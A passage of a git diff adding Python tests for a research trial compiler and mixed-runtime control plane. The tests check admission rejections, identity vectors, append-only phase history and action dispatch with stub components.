mixed_profile_contexts=contexts) + elif mutation == "envelope": + request = replace(request, mixed_realization_envelopes={}) + elif mutation == "resources": + contexts = { + **request.mixed_profile_contexts, + profile_id: replace(context, resource_refs={profile_id: frozenset({"range:unowned"})}), + } + request = replace(request, mixed_profile_contexts=contexts) + elif mutation == "projection": + memberships = dict(context.component_projection_membership) + memberships[next(iter(memberships))] = False + contexts = { + **request.mixed_profile_contexts, + profile_id: replace(context, component_projection_membership=memberships), + } + request = replace(request, mixed_profile_contexts=contexts) + elif mutation == "feature": + contexts = { + **request.mixed_profile_contexts, + profile_id: replace(context, feature_support_resolver=_reject_feature), + } + request = replace(request, mixed_profile_contexts=contexts) + elif mutation == "clock": + contexts = { + **request.mixed_profile_contexts, + profile_id: replace(context, time_models={}), + } + request = replace(request, mixed_profile_contexts=contexts) + elif mutation == "evidence": + contexts = { + **request.mixed_profile_contexts, + profile_id: replace(context, evidence_satisfaction={}), + } + request = replace(request, mixed_profile_contexts=contexts) + else: + profile = request.mixed_profiles[profile_id] + providers = {} + for allocation_id, allocation in profile.allocations.items(): + providers.setdefault(allocation.provider_component_id, allocation_id) + conflicting = tuple(list(providers.values())[:2]) + effects = dict(context.allocation_effects) + effects[(profile_id, conflicting[0])] = frozenset({"effect:overlap"}) + effects[(profile_id, conflicting[1])] = frozenset({"effect:overlap"}) + contexts = {**request.mixed_profile_contexts, profile_id: replace(context, allocation_effects=effects)} + request = replace(request, mixed_profile_contexts=contexts) + + rejected = compile_admitted_trial_plan(request) + + assert rejected.plan is None + assert [diagnostic.code for diagnostic in rejected.diagnostics] == [code] + + +def test_mixed_admission_rejects_aggregate_context_limit_without_partial_plan() -> None: + request = replace( + _mixed_request(_profile), + mixed_composition_limits=MixedCompositionValidationLimits(max_components=1), + ) + + rejected = compile_admitted_trial_plan(request) + + assert rejected.plan is None + assert [diagnostic.code for diagnostic in rejected.diagnostics] == ["trial-compiler.composition-context-rejected"] + + +def test_mixed_admission_rejects_plan_aggregate_profile_and_work_bounds() -> None: + request = _mixed_request(_profile) + + profile_limited = compile_admitted_trial_plan( + replace( + request, + limits=request.limits.model_copy(update={"max_mixed_profiles": 1}), + ) + ) + work_limited = compile_admitted_trial_plan( + replace( + request, + limits=request.limits.model_copy(update={"max_mixed_context_work": 1}), + ) + ) + + assert profile_limited.plan is None + assert [diagnostic.code for diagnostic in profile_limited.diagnostics] == [ + "trial-compiler.mixed-profile-limit-exceeded" + ] + assert work_limited.plan is None + assert [diagnostic.code for diagnostic in work_limited.diagnostics] == [ + "trial-compiler.mixed-context-work-limit-exceeded" + ] + + +def test_mutated_sealed_profile_is_reconstructed_and_rejected() -> None: + request = _mixed_request(_alternative_profile) + profile_id = next(iter(request.mixed_profiles)) + profile = request.mixed_profiles[profile_id].model_copy(deep=True) + profile.__dict__["profile_digest"] = "sha256:" + "0" * 64 + stale_ref = request.input_refs.mixed_composition_profile_refs[0].model_copy( + update={"ref_digest": profile.profile_digest} + ) + assignments = { + key: ( + binding.model_copy(update={"profile_ref": stale_ref}) + if binding.profile_ref.ref_id == profile_id + else binding + ) + for key, binding in request.realization_assignments.items() + } + refs = [ + stale_ref if reference.ref_id == profile_id else reference + for reference in request.input_refs.mixed_composition_profile_refs + ] + mutated = replace( + request, + input_refs=request.input_refs.model_copy(update={"mixed_composition_profile_refs": refs}), + realization_assignments=assignments, + mixed_profiles={**request.mixed_profiles, profile_id: profile}, + ) + + rejected = compile_admitted_trial_plan(mutated) + + assert rejected.plan is None + assert [diagnostic.code for diagnostic in rejected.diagnostics] == ["trial-compiler.mixed-profile-invalid"] + + +def test_staged_profile_remains_one_scheduler_entry_per_trial() -> None: + request = _mixed_request(_staged_profile) + result = compile_admitted_trial_plan(request) + assert result.plan is not None + + schedule = plan_batch_schedule(result.plan) + + phase_count = sum( + len(request.mixed_profiles[entry.apparatus.profile_ref.ref_id].phases) for entry in result.plan.entries.values() + ) + assert len(schedule.entries) == len(result.plan.entries) + assert phase_count > len(schedule.entries) + assert {scheduled.plan_entry_id for scheduled in schedule.entries} == set(result.plan.entries) + + +def test_mixed_identity_profile_has_fixed_conformance_vectors() -> None: + fixture = ( + REPO_ROOT / "contracts" / "fixtures" / "plans" / "trial-compiler-mixed-composition-v1" / "identity-vectors.json" + ) + vectors = json.loads(fixture.read_text(encoding="utf-8")) + + assert vectors["profile_id"] == "trial-compiler-mixed-composition-v1" + for case in vectors["identities"]: + assert ( + derive_identity( + case["kind"], + case["projection"], + mixed_composition=True, + ) + == case["expected"] + ) + + +def test_linked_realization_change_uses_exact_source_tuple_and_new_identity() -> None: + request = _mixed_request(_alternative_profile) + source_request = _request(run_count=2) + source_result = compile_admitted_trial_plan(source_request) + assert source_result.plan is not None + source_entry = next(iter(source_result.plan.entries.values())) + source_ref = AdmittedTrialSourceReferenceModel( + plan_id=source_result.plan.plan_id, + plan_digest=source_result.plan.plan_digest, + plan_entry_id=source_entry.plan_entry_id, + entry_digest=source_entry.entry_digest, + run_id=source_entry.run_id, + ) + assignment_key = next(iter(request.realization_assignments)) + linked_binding = request.realization_assignments[assignment_key].model_copy(update={"source_trial": source_ref}) + linked = replace( + request, + realization_assignments={**request.realization_assignments, assignment_key: linked_binding}, + source_plans={source_result.plan.plan_id: source_result.plan}, + ) + + baseline = compile_admitted_trial_plan(request) + changed = compile_admitted_trial_plan(linked) + + assert baseline.plan is not None + assert changed.plan is not None + assert baseline.plan.plan_id != changed.plan.plan_id + baseline_runs = {entry.coordinate.replicate_id: entry.run_id for entry in baseline.plan.entries.values()} + changed_runs = {entry.coordinate.replicate_id: entry.run_id for entry in changed.plan.entries.values()} + assert baseline_runs != changed_runs + + stale_ref = source_ref.model_copy(update={"run_id": "archival-run-stale"}) + stale = replace( + linked, + realization_assignments={ + **linked.realization_assignments, + assignment_key: linked_binding.model_copy(update={"source_trial": stale_ref}), + }, + ) + rejected = compile_admitted_trial_plan(stale) + assert rejected.plan is None + assert [diagnostic.code for diagnostic in rejected.diagnostics] == [ + "trial-compiler.composition-source-trial-mismatch" + ] + + alias_ref = source_ref.model_copy(update={"plan_id": "trial-plan-alias"}) + aliased = replace( + request, + realization_assignments={ + **request.realization_assignments, + assignment_key: linked_binding.model_copy(update={"source_trial": alias_ref}), + }, + source_plans={"trial-plan-alias": source_result.plan}, + ) + alias_rejected = compile_admitted_trial_plan(aliased) + assert [diagnostic.code for diagnostic in alias_rejected.diagnostics] == [ + "trial-compiler.composition-source-trial-mismatch" + ] + + +def test_mixed_binding_carries_and_validates_exact_participant_manifest_authority() -> None: + baseline = _mixed_request() + request = _with_participant_manifest(baseline) + missing = compile_admitted_trial_plan(request) + assert [diagnostic.code for diagnostic in missing.diagnostics] == [ + "trial-compiler.realization-assignment-participant-manifest-mismatch" + ] + + assignments = { + key: binding.model_copy(update={"participant_manifest_refs": list(request.apparatus.participant_manifest_refs)}) + for key, binding in request.realization_assignments.items() + } + admitted_request = replace(request, realization_assignments=assignments) + admitted = compile_admitted_trial_plan(admitted_request) + baseline_result = compile_admitted_trial_plan(baseline) + + assert admitted.plan is not None + assert baseline_result.plan is not None + assert admitted.plan.plan_id != baseline_result.plan.plan_id + assert all( + entry.apparatus.participant_manifest_refs == request.apparatus.participant_manifest_refs + for entry in admitted.plan.entries.values() + ) + + stale = compile_admitted_trial_plan(replace(admitted_request, participant_manifests={})) + assert [diagnostic.code for diagnostic in stale.diagnostics] == [ + "trial-compiler.participant-manifest-payload-missing" + ] + + +def test_mixed_descriptor_authority_excludes_unselected_caller_maps() -> None: + request = _mixed_request(_alternative_profile) + participant_request = _with_participant_manifest(request) + authority = validate_mixed_authority(replace(participant_request, apparatus=request.apparatus)) + + selected_keys = { + ( + component.manifest_ref.subject_ref.ref_kind, + component.manifest_ref.subject_ref.ref_id, + component.manifest_ref.subject_ref.ref_version, + component.manifest_ref.ref_version, + ) + for profile in request.mixed_profiles.values() + for component in profile.components.values() + } + admitted_keys = set().union(*(set(manifests) for manifests in authority.apparatus_manifests_by_root.values())) + assert admitted_keys == selected_keys + assert admitted_keys != set(request.apparatus_manifests) + assert authority.participant_manifests == {} + + +def test_mixed_binding_targets_receive_only_the_coordinate_profile_authority(monkeypatch) -> None: + experiment = _bound_spec() + base = _request(run_count=2).with_experiment(experiment) + descriptor_ref = ExperimentReferenceModel( + ref_kind="other", + ref_id="compiler-bindings", + ref_version="experiment-binding-descriptors/v1", + ref_digest=canonical_json_digest(experiment.binding_descriptors.model_dump(mode="json")), + ) + base = replace( + base, + input_refs=base.input_refs.model_copy(update={"binding_descriptor_set_ref": descriptor_ref}), + ) + request = _mixed_request(_alternative_profile, base_request=base) + observed: list[frozenset[tuple[str, str, str, str]]] = [] + incumbent = trial_compiler_module.validate_experiment_binding_targets + + def capture_authority(descriptors, **kwargs): + observed.append(frozenset(kwargs["apparatus_manifests"])) + return incumbent(descriptors, **kwargs) + + monkeypatch.setattr(trial_compiler_module, "validate_experiment_binding_targets", capture_authority) + result = compile_admitted_trial_plan(request) + + expected = [ + frozenset(manifests) for manifests in validate_mixed_authority(request).apparatus_manifests_by_root.values() + ] + assert result.diagnostics == () + assert sorted(observed, key=sorted) == sorted(expected, key=sorted) + + +def test_mixed_components_may_reuse_one_governed_implementation_manifest() -> None: + request = _mixed_request(_profile) + profile_id = sorted(request.mixed_profiles)[0] + original = request.mixed_profiles[profile_id] + fields = original.model_dump(mode="python", exclude={"profile_digest"}) + component_ids = sorted(fields["components"]) + fields["components"][component_ids[1]]["manifest_ref"] = fields["components"][component_ids[0]]["manifest_ref"] + duplicate = seal_mixed_composition_profile(**fields) + admitted = compile_admitted_trial_plan(_replace_root_profile(request, duplicate, _profile_context(duplicate))) + + assert admitted.diagnostics == () + assert admitted.plan is not None + + +def test_independent_root_profiles_may_reuse_one_implementation_manifest() -> None: + request = _mixed_request(_alternative_profile) + first_id, second_id = sorted(request.mixed_profiles) + first = request.mixed_profiles[first_id] + second = request.mixed_profiles[second_id] + shared_reference = next(iter(first.components.values())).manifest_ref + fields = second.model_dump(mode="python", exclude={"profile_digest"}) + next(iter(fields["components"].values()))["manifest_ref"] = shared_reference.model_dump(mode="python") + reused = seal_mixed_composition_profile(**fields) + + result = compile_admitted_trial_plan(_replace_root_profile(request, reused, _profile_context(reused))) + + assert result.diagnostics == () + assert result.plan is not None + + +def test_mixed_failure_selection_is_independent_of_input_map_order() -> None: + request = _mixed_request(_profile) + first_id, second_id = sorted(request.mixed_profiles) + first_context = request.mixed_profile_contexts[first_id] + second_context = request.mixed_profile_contexts[second_id] + invalid_contexts = { + first_id: replace(first_context, components={}), + second_id: replace( + second_context, + resource_refs={second_id: frozenset({"range:unowned"})}, + ), + } + forward = replace(request, mixed_profile_contexts=invalid_contexts) + reversed_request = replace( + forward, + mixed_profiles=dict(reversed(tuple(forward.mixed_profiles.items()))), + mixed_profile_contexts=dict(reversed(tuple(forward.mixed_profile_contexts.items()))), + ) + + forward_result = compile_admitted_trial_plan(forward) + reversed_result = compile_admitted_trial_plan(reversed_request) + + assert forward_result.diagnostics == reversed_result.diagnostics + assert [diagnostic.code for diagnostic in forward_result.diagnostics] == [ + "trial-compiler.composition-context-rejected" + ] + + +def test_nested_profiles_receive_full_trial_admission_and_aggregate_limits() -> None: + request, child = _with_nested_profile(_mixed_request(_alternative_profile)) + admitted = compile_admitted_trial_plan(request) + assert admitted.plan is not None + + root_id = sorted(request.mixed_profiles)[0] + context = request.mixed_profile_contexts[root_id] + membership = dict(context.component_projection_membership) + membership[(child.profile_id, next(iter(child.components)))] = False + projection_rejected = compile_admitted_trial_plan( + replace( + request, + mixed_profile_contexts={ + **request.mixed_profile_contexts, + root_id: replace(context, component_projection_membership=membership), + }, + ) + ) + assert [diagnostic.code for diagnostic in projection_rejected.diagnostics] == [ + "trial-compiler.composition-context-rejected" + ] + + resources = dict(context.resource_refs) + resources[child.profile_id] = frozenset({"range:unowned"}) + resource_rejected = compile_admitted_trial_plan( + replace( + request, + mixed_profile_contexts={ + **request.mixed_profile_contexts, + root_id: replace(context, resource_refs=resources), + }, + ) + ) + assert [diagnostic.code for diagnostic in resource_rejected.diagnostics] == [ + "trial-compiler.composition-resource-coverage-missing" + ] + + limit_rejected = compile_admitted_trial_plan( + replace( + request, + limits=request.limits.model_copy(update={"max_mixed_profiles": len(request.mixed_profiles)}), + ) + ) + assert [diagnostic.code for diagnostic in limit_rejected.diagnostics] == [ + "trial-compiler.mixed-profile-limit-exceeded" + ] + + +@pytest.mark.parametrize( + ("field", "value"), + [ + ("entry_identity_profile", "trial-entry-identity-mixed-composition-v1"), + ("run_identity_profile", "archival-run-identity-mixed-composition-v1"), + ], +) +def test_legacy_plan_rejects_mixed_identity_profile_claims(field: str, value: str) -> None: + result = compile_admitted_trial_plan(_request()) + assert result.plan is not None + payload = result.plan.model_dump(mode="python") + payload["profiles"][field] = value + + plan_type = type(result.plan) + with pytest.raises(ValueError, match="legacy compiler and identity profiles"): + plan_type.model_validate(payload) + + +def test_legacy_empty_participant_manifest_serialization_remains_omitted() -> None: + result = compile_admitted_trial_plan(_request()) + assert result.plan is not None + entry = next(iter(result.plan.entries.values())) + + assert "participant_manifest_refs" not in entry.apparatus.model_dump(mode="json") diff --git a/implementations/python/tests/test_issue_1016_mixed_runtime_coordination.py b/implementations/python/tests/test_issue_1016_mixed_runtime_coordination.py new file mode 100644 index 000000000..cc62a26f1 --- /dev/null +++ b/implementations/python/tests/test_issue_1016_mixed_runtime_coordination.py @@ -0,0 +1,851 @@ +"""Issue #1016 reference mixed-runtime coordination boundaries.""" + +from __future__ import annotations + +from concurrent.futures import ThreadPoolExecutor +from dataclasses import asdict +from threading import Event, Lock + +import pytest +from participant_crossing_fixtures import ( + ACTION, + AUDIENCE, + CONTROLLER, + PARTICIPANT, + StaticCrossingResolver, + admission_request, + behavior, + evidence, + identity, +) +from raes_backend_protocols.manifest import backend_manifest_from_v2_model_with_envelope +from raes_backend_stubs.stubs import StubParticipantRuntime, create_stub_components, create_stub_target +from raes_contracts.contracts import BackendManifestV2Model, seal_mixed_composition_profile +from raes_contracts.contracts.mixed_runtime import ( + MixedCompositionRuntimeEventModel, + MixedCompositionRuntimeStateModel, +) +from raes_contracts.diagnostics import Diagnostic +from raes_contracts.participant_binding import ParticipantActionApplyResult +from raes_contracts.runtime_state import RuntimeSnapshot +from raes_processor.trial_compiler import compile_admitted_trial_plan +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_store import ( + InMemoryControlPlaneStore, + NewClaimRejected, + _snapshot_from_payload, + _snapshot_payload, +) +from raes_runtime.mixed_runtime import ( + MixedPhaseTransitionEvaluation, + MixedRuntimeBinding, + MixedRuntimeComponent, +) +from raes_runtime.mixed_runtime_dispatch import mixed_recovery_target +from raes_runtime.mixed_runtime_handoff import MixedHandoffBinding +from raes_runtime.mixed_runtime_state import runtime_state +from raes_runtime.participant_crossing_state_cut import canonical_crossing_digest +from raes_runtime.participant_result_contracts import participant_runtime_history_transition_diagnostics +from raes_runtime.registry import RuntimeTarget +from raes_runtime.time_coordinator import ReferenceTimeRuntime +from sem233_flow_sink_fixtures import permit_resolver +from test_issue_1014_mixed_composition_contracts import _alternative_profile, _staged_profile +from test_issue_1015_mixed_staged_trial_admission import _mixed_request + +pytestmark = pytest.mark.control_plane_conformance + + +def _initial_composition_snapshot() -> RuntimeSnapshot: + event = MixedCompositionRuntimeEventModel( + event_id="composition:run-one:initial", + event_kind="phase-activated", + run_id="run-one", + plan_id="plan-one", + plan_entry_id="entry-one", + profile_id="profile-one", + profile_digest=f"sha256:{'a' * 64}", + phase_id="phase-one", + phase_revision=0, + active_component_ids=["sim", "emu"], + active_allocation_ids=["participant", "action"], + active_edge_ids=["sim-to-emu"], + disposition="committed", + order_ref="order:initial", + evidence_refs=["evidence:admission"], + ) + state = MixedCompositionRuntimeStateModel( + run_id=event.run_id, + plan_id=event.plan_id, + plan_entry_id=event.plan_entry_id, + profile_id=event.profile_id, + profile_digest=event.profile_digest, + phase_id=event.phase_id, + phase_revision=event.phase_revision, + active_component_ids=event.active_component_ids, + active_allocation_ids=event.active_allocation_ids, + active_edge_ids=event.active_edge_ids, + history_head=event.event_id, + ) + return RuntimeSnapshot( + mixed_composition_states={event.run_id: state.model_dump(mode="json")}, + mixed_composition_history={event.run_id: [event.model_dump(mode="json")]}, + ) + + +def test_mixed_phase_state_round_trips_without_losing_history() -> None: + snapshot = _initial_composition_snapshot() + + restored = _snapshot_from_payload(_snapshot_payload(snapshot)) + + assert restored.mixed_composition_states == snapshot.mixed_composition_states + assert restored.mixed_composition_history == snapshot.mixed_composition_history + assert restored.with_entries({}).mixed_composition_history == snapshot.mixed_composition_history + + +def test_mixed_phase_history_cannot_be_retracted() -> None: + snapshot = _initial_composition_snapshot() + rewritten = snapshot.with_entries({}, mixed_composition_states={}, mixed_composition_history={}) + + assert any( + "append-only" in diagnostic.message + for diagnostic in participant_runtime_history_transition_diagnostics(snapshot, rewritten) + ) + + +def test_action_coordination_fact_requires_exact_dispatch_identity() -> None: + initial = _initial_composition_snapshot().mixed_composition_history["run-one"][0] + + with pytest.raises(ValueError, match="exact allocation"): + MixedCompositionRuntimeEventModel( + **{ + **initial, + "event_id": "composition:run-one:decision", + "event_kind": "decision", + "predecessor_event_id": initial["event_id"], + "disposition": "permitted", + } + ) + + +def test_runtime_state_rejects_membership_outside_the_admitted_phase() -> None: + binding, run_id, _ = _admitted_binding(_runtime_profile) + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + state = {**plane.snapshot.mixed_composition_states[run_id], "active_component_ids": ["emu"]} + event = {**plane.snapshot.mixed_composition_history[run_id][0], "active_component_ids": ["emu"]} + tampered = plane.snapshot.with_entries( + dict(plane.snapshot.entries), + mixed_composition_states={run_id: state}, + mixed_composition_history={run_id: [event]}, + ) + + with pytest.raises(ValueError, match="admitted phase"): + runtime_state(binding, tampered) + + +class _CountingParticipantRuntime(StubParticipantRuntime): + def __init__(self, *, fail: bool = False) -> None: + super().__init__() + self.admission_count = 0 + self.initialize_count = 0 + self.fail = fail + self.action_started: Event | None = None + self.action_release: Event | None = None + + def initialize(self, request, snapshot): + self.initialize_count += 1 + return super().initialize(request, snapshot) + + def admit_action(self, request, snapshot): + self.admission_count += 1 + if self.action_started is not None: + self.action_started.set() + if self.action_release is not None: + assert self.action_release.wait(timeout=5) + if self.fail: + return ParticipantActionApplyResult( + success=False, + snapshot=snapshot, + diagnostics=[ + Diagnostic( + code="runtime.test-provider-rejected", + domain="participant", + address=request.participant_address, + message="Synthetic provider rejection.", + ) + ], + ) + return super().admit_action(request, snapshot) + + +class _FailingSecondCompositionCommitStore(InMemoryControlPlaneStore): + def __init__(self, *, fail_on: int = 2) -> None: + super().__init__() + self.composition_commits = 0 + self.fail_on = fail_on + + def commit_participant_transition(self, **kwargs): + self.composition_commits += 1 + if self.composition_commits == self.fail_on: + raise RuntimeError("injected composition commit failure") + return super().commit_participant_transition(**kwargs) + + +def _runtime_profile(): + source = _alternative_profile() + fields = source.model_dump(mode="python", exclude={"profile_digest"}) + fields["allocations"]["allocation.participant"]["target_address"] = PARTICIPANT + fields["allocations"]["allocation.action"]["target_address"] = ACTION + for allocation_id in ("allocation.participant", "allocation.action"): + fields["allocations"][allocation_id]["controller_ref"] = CONTROLLER + fields["allocations"][allocation_id]["action_authority_ref"] = "authority:red-team" + return seal_mixed_composition_profile(**fields) + + +def _runtime_staged_profile(): + source = _staged_profile() + fields = source.model_dump(mode="python", exclude={"profile_digest"}) + fields["allocations"]["allocation.participant"]["target_address"] = PARTICIPANT + fields["allocations"]["allocation.action"]["target_address"] = ACTION + for allocation_id in ("allocation.participant", "allocation.action"): + fields["allocations"][allocation_id]["controller_ref"] = CONTROLLER + fields["allocations"][allocation_id]["action_authority_ref"] = "authority:red-team" + return seal_mixed_composition_profile(**fields) + + +def _runtime_mixed_profile(): + from test_issue_1014_mixed_composition_contracts import _profile + + source = _profile() + fields = source.model_dump(mode="python", exclude={"profile_digest"}) + fields["allocations"]["allocation.participant"]["target_address"] = PARTICIPANT + fields["allocations"]["allocation.action"]["target_address"] = ACTION + fields["allocations"]["allocation.action"]["provider_component_id"] = "emu" + for allocation_id in ("allocation.participant", "allocation.action"): + fields["allocations"][allocation_id]["controller_ref"] = CONTROLLER + fields["allocations"][allocation_id]["action_authority_ref"] = "authority:red-team" + request = admission_request() + fields["edges"]["edge.sim-to-emu"].update( + crossing_subject={ + "subject_kind": "participant-action-admission", + "contract_id": "participant-action-admission-v1", + "subject_ref": f"participant-action-admission:{PARTICIPANT}:episode-1:{request.action_instance_id}", + "subject_digest": canonical_crossing_digest(asdict(request)), + "participant_address": PARTICIPANT, + "episode_id": "episode-1", + }, + audience_scope_ref=AUDIENCE, + policy=StaticCrossingResolver().policy.model_dump(mode="python"), + controller_ref=CONTROLLER, + authority_ref="authority:red-team", + disclosure_authority_ref="authority:red-team", + ) + return seal_mixed_composition_profile(**fields) + + +def _runtime_unsupported_profile(): + source = _runtime_profile() + fields = source.model_dump(mode="python", exclude={"profile_digest"}) + fields["allocations"]["allocation.action"]["feature_requirements"] = [] + return seal_mixed_composition_profile(**fields) + + +def _admitted_binding( + profile_factory=_alternative_profile, + transition_evaluator=None, + failing_component: str | None = None, +) -> tuple[MixedRuntimeBinding, str, dict[str, _CountingParticipantRuntime]]: + request = _mixed_request(profile_factory=profile_factory) + compiled = compile_admitted_trial_plan(request) + assert compiled.plan is not None + entry = next(iter(compiled.plan.entries.values())) + profile = request.mixed_profiles[entry.apparatus.profile_ref.ref_id] + components = {} + runtimes = {} + for component_id, component in profile.components.items(): + manifest_model = next( + manifest + for manifest in request.apparatus_manifests.values() + if isinstance(manifest, BackendManifestV2Model) + and manifest.identity.name == component.manifest_ref.subject_ref.ref_id + ) + envelope = request.mixed_realization_envelopes[component.realization_envelope.envelope_id] + manifest = backend_manifest_from_v2_model_with_envelope(manifest_model, envelope) + parts = create_stub_components(manifest=manifest) + runtime = _CountingParticipantRuntime(fail=component_id == failing_component) + target = RuntimeTarget( + name=component_id, + manifest=manifest, + provisioner=parts.provisioner, + orchestrator=parts.orchestrator, + evaluator=parts.evaluator, + participant_runtime=runtime, + time_runtime=parts.time_runtime, + observation_runtime=parts.observation_runtime, + ) + components[component_id] = MixedRuntimeComponent( + target=target, + manifest=manifest_model, + envelope=envelope, + ) + runtimes[component_id] = runtime + + def permit_transition(transition, _state, _snapshot): + return MixedPhaseTransitionEvaluation( + permitted=True, + attempts=1, + order_ref="order:transition:1", + evidence_refs=tuple(item.evidence_ref for item in transition.evidence_bindings), + provenance_refs=("provenance:transition-evaluator",), + ) + + evaluator = transition_evaluator or permit_transition + transition_evaluators = {transition.evaluator_ref: evaluator for transition in profile.transitions.values()} + handoff_bindings = {} + context = request.mixed_profile_contexts[profile.profile_id] + time_model_ref, declaration = next(iter(context.time_models.items())) + time_state = ReferenceTimeRuntime().initialize(declaration, RuntimeSnapshot()).snapshot.time_model_state + assert time_state is not None + + class FixtureTimeRuntime: + def state(self, _snapshot): + return time_state + + for transition in profile.transitions.values(): + source = profile.phases[transition.source_phase_id] + target = profile.phases[transition.target_phase_id] + departing = set(source.active_component_ids) - set(target.active_component_ids) + arriving = set(target.active_component_ids) - set(source.active_component_ids) + if len(departing) != 1 or len(arriving) != 1: + continue + source_id, destination_id = next(iter(departing)), next(iter(arriving)) + owner = {"component": source_id, "revision": 0} + owner_lock = Lock() + source_clock = next( + address for address, clock in declaration.clocks.items() if clock.authority_ref == source_id + ) + destination_clock = next( + address for address, clock in declaration.clocks.items() if clock.authority_ref == destination_id + ) + mapping_ref = next(iter(declaration.mappings)) + + def coordinate( + operation_id, + _transition, + state, + *, + _source=source_clock, + _destination=destination_clock, + _mapping=mapping_ref, + ): + return { + "operation_id": operation_id, + "mapping_ref": _mapping, + "ordering_basis": "partial_order", + "order_ref": f"order:native:{operation_id}", + "comparison": "ordered", + "source_coordinate": state.clocks[_source].coordinate.model_dump(mode="json"), + "destination_coordinate": state.clocks[_destination].coordinate.model_dump(mode="json"), + "mapping_evidence_refs": ["evidence:handoff-mapping"], + "timing_evidence_refs": ["evidence:phase-realization"], + } + + def invoke( + operation_id, + admitted, + state, + _snapshot, + *, + _owner=owner, + _lock=owner_lock, + _source=source_id, + _destination=destination_id, + ): + with _lock: + permitted = _owner["component"] == _source and _owner["revision"] == state.phase_revision + if permitted: + _owner.update(component=_destination, revision=state.phase_revision + 1) + return { + "operation_id": operation_id, + "transition_id": admitted.transition_id, + "source_component_id": _source, + "destination_component_id": _destination, + "predecessor_history_head": state.history_head, + "phase_revision": state.phase_revision, + "status": "committed" if permitted else "stale", + "order_ref": f"order:native:{operation_id}", + "evidence_refs": [item.evidence_ref for item in admitted.evidence_bindings], + } + + def readback(operation_id, _snapshot, *, _owner=owner, _lock=owner_lock): + with _lock: + component = _owner["component"] + revision = _owner["revision"] + return { + "operation_id": operation_id, + "owner_component_id": component, + "owner_ref": profile.components[component].native_ownership_ref, + "phase_revision": revision, + "evidence_refs": ["evidence:native-readback"], + } + + handoff_bindings[transition.transition_id] = MixedHandoffBinding( + transition_id=transition.transition_id, + source_component_id=source_id, + destination_component_id=destination_id, + source_owner_ref=profile.components[source_id].native_ownership_ref, + destination_owner_ref=profile.components[destination_id].native_ownership_ref, + time_model_ref=time_model_ref, + time_model_digest=context.time_model_digests[time_model_ref], + source_clock_address=source_clock, + destination_clock_address=destination_clock, + mapping_ref=mapping_ref, + ordering_basis="partial_order", + time_runtime=FixtureTimeRuntime(), + coordinate=coordinate, + invoke=invoke, + readback=readback, + ) + return ( + MixedRuntimeBinding( + plan=compiled.plan, + plan_entry_id=entry.plan_entry_id, + profile=profile, + context=request.mixed_profile_contexts[profile.profile_id], + components=components, + transition_evaluators=transition_evaluators, + handoff_bindings=handoff_bindings, + ), + entry.run_id, + runtimes, + ) + + +def _staged_time_snapshot(binding: MixedRuntimeBinding) -> RuntimeSnapshot: + empty = RuntimeSnapshot() + installed = next(iter(binding.handoff_bindings.values())) + return empty.with_entries({}, time_model_state=installed.time_runtime.state(empty)) + + +def test_mixed_runtime_activation_commits_the_admitted_initial_phase() -> None: + binding, run_id, _ = _admitted_binding() + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + ) + + receipt = plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + + assert receipt.accepted + state = plane.snapshot.mixed_composition_states[run_id] + assert state["phase_id"] == binding.profile.initial_phase_id + assert state["profile_digest"] == binding.profile.profile_digest + assert plane.snapshot.mixed_composition_history[run_id][0]["event_kind"] == "phase-activated" + + replay = plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + assert replay.operation_id == receipt.operation_id + different_identity = identity() + with pytest.raises(RuntimeError): + plane.activate_mixed_composition(identity=different_identity, idempotency_key="different-activation") + assert len(plane.snapshot.mixed_composition_history[run_id]) == 1 + + +def test_action_dispatch_commits_exact_provider_cut_before_effect() -> None: + binding, run_id, runtimes = _admitted_binding(_runtime_profile) + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + initialize = plane.initialize_participant_episode( + PARTICIPANT, + episode_id="episode-1", + idempotency_key="mixed-initialize", + identity=identity(), + ) + initialize_replay = plane.initialize_participant_episode( + PARTICIPANT, + episode_id="episode-1", + idempotency_key="mixed-initialize", + identity=identity(), + ) + + receipt = plane.admit_participant_action( + behavior(), + admission_request(), + identity=identity(), + crossing_evidence=evidence(), + idempotency_key="mixed-action", + ) + + assert receipt.accepted + assert initialize_replay.operation_id == initialize.operation_id + assert mixed_recovery_target(plane, initialize.operation_id) is binding.components["sim"].target + assert runtimes["sim"].initialize_count == 1 + assert runtimes["sim"].admission_count == 1 + kinds = [event["event_kind"] for event in plane.snapshot.mixed_composition_history[run_id]] + assert kinds == [ + "phase-activated", + "lifecycle-decision", + "lifecycle-attempt", + "lifecycle-result", + "decision", + "attempt", + "result", + ] + decision = next( + event for event in plane.snapshot.mixed_composition_history[run_id] if event["event_kind"] == "decision" + ) + assert decision["allocation_id"] == "allocation.action" + assert decision["component_id"] == "sim" + assert decision["crossing_event_ref"] + + +def test_backend_rejection_appends_failure_without_delivery() -> None: + binding, run_id, runtimes = _admitted_binding(_runtime_profile, failing_component="sim") + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + plane.initialize_participant_episode(PARTICIPANT, episode_id="episode-1", identity=identity()) + + receipt = plane.admit_participant_action( + behavior(), + admission_request(), + identity=identity(), + crossing_evidence=evidence(), + idempotency_key="rejected-action", + ) + + assert runtimes["sim"].admission_count == 1 + kinds = [event["event_kind"] for event in plane.snapshot.mixed_composition_history[run_id]] + assert kinds[-2:] == ["result", "failure"] + assert "delivery" not in kinds + status = plane.get_operation(receipt.operation_id, identity=identity()) + assert status is not None + assert status.state.value == "failed" + + +def test_failed_decision_commit_invokes_no_component_and_publishes_no_cut() -> None: + binding, run_id, runtimes = _admitted_binding(_runtime_profile) + store = _FailingSecondCompositionCommitStore(fail_on=4) + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + 